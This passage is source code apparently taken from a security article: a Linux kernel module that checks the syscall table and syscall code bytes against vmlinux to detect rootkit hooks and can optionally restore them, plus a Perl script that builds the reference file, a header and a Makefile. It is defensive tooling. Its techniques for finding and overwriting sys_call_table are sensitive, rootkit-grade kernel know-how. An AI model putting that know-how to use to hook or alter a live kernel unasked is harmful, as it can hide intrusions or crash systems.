config_file->f_pos = 0; output_file = filp_open(output, O_WRONLY | O_CREAT | O_TRUNC, 0600); if ((int)output_file == -2 || !output_file->f_op || !output_file->f_op->write) return kerror("filp_open", output); output_file->f_pos = 0; //get_fs() y set_fs() se utilizan para modificar temporalmente el //campo addr_limit de la actual task_struct. //Lo que permite usar un buffer que sus direcciones estan en //espacio de kernel. orig_fs = get_fs(); set_fs(KERNEL_DS); if (config_file->f_op->read(config_file, strsc, 18, &config_file->f_pos) < 1) return kerror("read()", config); if (sscanf(strsc, "%x %x", &sct_vmlinux, &tmp_sct) == 0) return kerror(config,"corrupted"); size = 4*(tmp_sct-sct_vmlinux); #if LINUX_VERISON_CODE >= KERNEL_VERSION(2,5,47) sys_call_table = (void *)getsct(); #endif sprintf(buffer, " kernel vmlinux\n"); OUTPUT if (sys_call_table != sct_vmlinux) { sprintf(buffer, "%#x != %#x (sys_call_table)\n", sys_call_table, sct_vmlinux); OUTPUT if (repair) #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,47) sys_call_table = sct_vmlinux; #else *sys_call_table = (void *)sct_vmlinux; #endif return 0; } sprintf(buffer, "%#x == %#x (sys_call_table)\n", sys_call_table, sct_vmlinux); OUTPUT for (i = 0; i < NR_syscalls ; i++) { if ( #if LINUX_VERSION_CODE <= KERNEL_VERSION(2,5,0) // kernels 2.4 no implentan sys_restart_syscall() (i != 0) && #endif (i != 17) && (i != 31) && (i != 32) && (i != 35) && (i != 44) && (i != 53) && (i != 56) && (i != 58) && (i != 98) && (i != 112) && (i != 137) && (i != 188) && (i != 189) && (i != 222) && (i != 223) && (i != 251) // Estas syscalls no se utilizan en kernels 2.6 // 127 create_module // 131 quotactl // 167 query_module // 276 set_mempolicy // 283 sys_kexec_load // 288 keyctl #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) && (i != 127) && (i != 131) && (i != 167) && (i != 276) && (i != 283) && (i != 288) #endif ) { if (config_file->f_op->read(config_file, strsc, 64, &config_file->f_pos) < 1) { printk("corrupted %s: syscall: %d\n", config, i); return 0; } if (sscanf(strsc, "%x %x %32s", sct_vmlinux, &size, sc_name) == 0) { printk("corrupted %s: \"%#x %#x %s\"\n", config, *sct_vmlinux, size, sc_name); return 0; } config_file->f_pos -= 64-(19+strlen(sc_name)); if (*(sys_call_table+i) != *sct_vmlinux) { sprintf(buffer, "%#x != %#x (%3d) (%s)\n", *(sys_call_table+i), *sct_vmlinux, i, sc_name); OUTPUT if (repair) *(sys_call_table+i) = *sct_vmlinux; check = 0; } else { unsigned char *psc = (unsigned char *)*(sys_call_table+i); unsigned long pos = *sct_vmlinux-0xc0100000+0x1000; #ifdef DEBUG sprintf(buffer, "%#x == %#x (%3d) (%s)\n", *(sys_call_table+i), *sct_vmlinux, i, sc_name); OUTPUT #endif check_bytes(buffer, size, psc, bad_chars, &diff, pos); if (diff) { show_diff(buffer, i, size, sc_name, bad_chars, psc, pos); diff = 0; check = 0; } } } } if (check){ sprintf(buffer, "syscalls [ ok ]\n"); OUTPUT } filp_close(vmlinux_file, NULL); filp_close(config_file, NULL); filp_close(output_file, NULL); } #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) int init_module(void) #else static int __init chksc_init(void) #endif { if (!strcmp(vmlinux,"") || !strcmp(config,"") || !strcmp(output,"")) { printk("<0>Need parameters: vmlinux= config= " "output=\n"); printk("<0>Optional: repair=1\n"); return -1; } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,47) sys_call_table = (void *)getsct(); #endif return check_syscalls(); } #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47) void cleanup_module(void) #else static void __exit chksc_cleanup(void) #endif { } #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,47) module_init(chksc_init); module_exit(chksc_cleanup); #endif <--> (4) <++> src/mkconfig.pl !c3b898de #!/usr/bin/perl # by kenshin # (thks sweet ;) if (!$ARGV[0]) { print "usage: ./mkconfig.pl \n"; exit; } open(ofd, ">$ARGV[0]") or die "couldn't open $ARGV[0]\n"; $KVER = `uname -r`; $KVER =~s/\n//g; $UNISTD = "/usr/src/linux-$KVER/include/asm/unistd.h"; $VMLINUX = "/usr/src/linux-$KVER/vmlinux"; $sct = `nm $VMLINUX| grep " "sys_call_table`; @col = split(" ", $sct); $sct_end=`nm -n /usr/src/linux-$KVER/vmlinux |grep sys_call_table -A 1|tail -n 1`; $sct_end=~s/\n//g; @sct_end = split(" ", $sct_end); $tmp_sct=`nm -n /usr/src/linux-$KVER/vmlinux |grep sys_call_table |awk '{print \$1}'`; $tmp_sct=~s/\n//g; syswrite(ofd, "$col[0] $sct_end[0]\n"); $unistd=`grep '^#define __NR_' $UNISTD| sed s/'^#define __NR_'//g | awk '{print \$1}'`; @list = split("\n", $unistd); for ($i = 0; $list[$i]; $i++) { $tmpunistd = "$tmpunistd"."$list[$i]\n" } $unistd = $tmpunistd; # sistem function -> kernel function $vmlinux = `nm -n -S $VMLINUX| egrep ' [BTW] [so][yl][sd]__'*| sed s/sys_//g| awk '{print \$1\" \"\$2\" \"\$4}'`; $vmlinux =~s/ lchown\n/ lchown32\n/g; $vmlinux =~s/ lchown16/ lchown/g; $vmlinux =~s/ stat\n/ oldstat\n/g; $vmlinux =~s/ umount\n/ umount2\n/g; $vmlinux =~s/ oldumount/ umount/g; $vmlinux =~s/ setuid\n/ setuid32\n/g; $vmlinux =~s/ setuid16/ setuid/g; $vmlinux =~s/ getuid\n/ getuid32\n/g; $vmlinux =~s/ getuid16/ getuid/g; $vmlinux =~s/ fstat\n/ oldfstat\n/g; $vmlinux =~s/ setgid\n/ setgid32\n/g; $vmlinux =~s/ setgid16/ setgid/g; $vmlinux =~s/ getgid\n/ getgid32\n/g; $vmlinux =~s/ getgid16/ getgid/g; $vmlinux =~s/ geteuid\n/ geteuid32\n/g; $vmlinux =~s/ geteuid16/ geteuid/g; $vmlinux =~s/ getegid\n/ getegid32\n/g; $vmlinux =~s/ getegid16/ getegid/g; $vmlinux =~s/ olduname/ oldolduname/g; $vmlinux =~s/ uname/ olduname/g; $vmlinux =~s/ newuname/ uname/g; $vmlinux =~s/ setreuid\n/ setreuid32\n/g; $vmlinux =~s/ setreuid16/ setreuid/g; $vmlinux =~s/ setregid\n/ setregid32\n/g; $vmlinux =~s/ setregid16/ setregid/g; $vmlinux =~s/ getrlimit\n/ ugetrlimit\n/g; $vmlinux =~s/ old_getrlimit/ getrlimit/g; $vmlinux =~s/ getgroups\n/ getgroups32\n/g; $vmlinux =~s/ getgroups16/ getgroups/g; $vmlinux =~s/ setgroups\n/ setgroups32\n/g; $vmlinux =~s/ setgroups16/ setgroups/g; $vmlinux =~s/ select\n/ _newselect\n/g; $vmlinux =~s/ old_select/ select/g; $vmlinux =~s/ lstat\n/ oldlstat\n/g; $vmlinux =~s/ newlstat/ lstat/g; $vmlinux =~s/ old_readdir/ readdir/g; $vmlinux =~s/ old_mmap/ mmap/g; $vmlinux =~s/ fchown\n/ fchown32\n/g; $vmlinux =~s/ fchown16/ fchown/g; $vmlinux =~s/ newstat/ stat/g; $vmlinux =~s/ newfstat/ fstat/g; $vmlinux =~s/ setfsuid\n/ setfsuid32\n/g; $vmlinux =~s/ setfsuid16/ setfsuid/g; $vmlinux =~s/ setfsgid\n/ setfsgid32\n/g; $vmlinux =~s/ setfsgid16/ setfsgid/g; $vmlinux =~s/ setfsgi\n/ setfsgid32\n/g; $vmlinux =~s/ setfsgid16/ setfsgid/g; $vmlinux =~s/ llseek/ _llseek/g; $vmlinux =~s/ sysctl/ _sysctl/g; $vmlinux =~s/ setresuid\n/ setresuid32\n/g; $vmlinux =~s/ setresuid16/ setresuid/g; $vmlinux =~s/ getresuid\n/ getresuid32\n/g; $vmlinux =~s/ getresuid16/ getresuid/g; $vmlinux =~s/ setresgid\n/ setresgid32\n/g; $vmlinux =~s/ setresgid16/ setresgid/g; $vmlinux =~s/ getresgid\n/ getresgid32\n/g; $vmlinux =~s/ getresgid16/ getresgid/g; $vmlinux =~s/ chown\n/ chown32\n/g; $vmlinux =~s/ chown16/ chown/g; $lines_unistd = ($unistd =~ tr/\n//); $lines_vmlinux = ($vmlinux =~ tr/\n//); @tmpunistd = split("\n", $unistd); @tmpvmlinux = split("\n", $vmlinux); for ($i = 0; $i < $lines_unistd; $i++) { for ($j = 0; $j < $lines_vmlinux; $j++) { @colvmlinux = split(" ", $tmpvmlinux[$j]); if ($tmpunistd[$i] eq $colvmlinux[2]) { syswrite(ofd, "$colvmlinux[0] $colvmlinux[1] sys_$colvmlinux[2]\n"); next; } } } # this sucks very much for ($i = 0; $i < 64; $i++) { syswrite(ofd, "\x00"); } close(ofd); <--> <++> src/lkm.h !62ee6c21 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * lkm.h * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #ifndef __KERNEL__ #define __KERNEL__ #endif #include #ifndef MODULE #define MODULE #endif #include #include #if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,0) #ifdef CONFIG_MODVERSIONS #include #endif #endif #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,0) #include #endif #include MODULE_AUTHOR("kenshin"); #if defined(MODULE_LICENSE) || LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,0) MODULE_LICENSE("GPL"); #endif #include #include // get_fs(), set_fs(), KERNEL_DS #include // fput() #include // GFP_KERNEL #include #include <--> <++> src/Makefile !531f9066 #-----------------------------------------------------------------------------# # Makefile #-----------------------------------------------------------------------------# GCC := gcc CFLAGS := -O2 -fno-common #-DIDT KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build # If we find Rules.make, we can assume we're using the old 2.4 style building OLDMAKE := $(wildcard $(KSRC)/Rules.make) PWD := $(shell pwd) ifeq ($(OLDMAKE),) obj-m := sct.o ash.o chksc.o else obj-m := lkmash.o lkmchksc.o endif sct-objs := getsct.o lkmgetsct.o chksc-objs := getsct.o lkmchksc.o ash-objs := getsct.o lkmash.o all: mod ifneq ($(KERNELRELEASE),) ifneq ($(PATCHLEVEL),6) # If we are not on a 2.6, then do 2.4 specific things include $(TOPDIR)/Rules.make endif else ifeq ($(OLDMAKE),) mod: @$(MAKE) --no-print-directory -C $(KSRC) SUBDIRS=$(PWD) MODVERDIR=$(PWD) modules @rm -f *.mod* .*.cmd *.o .*.o.flags *.mod .*.o.cmd .*.o.d else # 2.4 mod: @$(MAKE) --no-print-directory -C $(KSRC) SUBDIRS=$(PWD) BUILD_DIR=$(PWD) modules endif endif clean: @$(RM) *.o *.ko @echo ' CLEAN files' <--> 0x00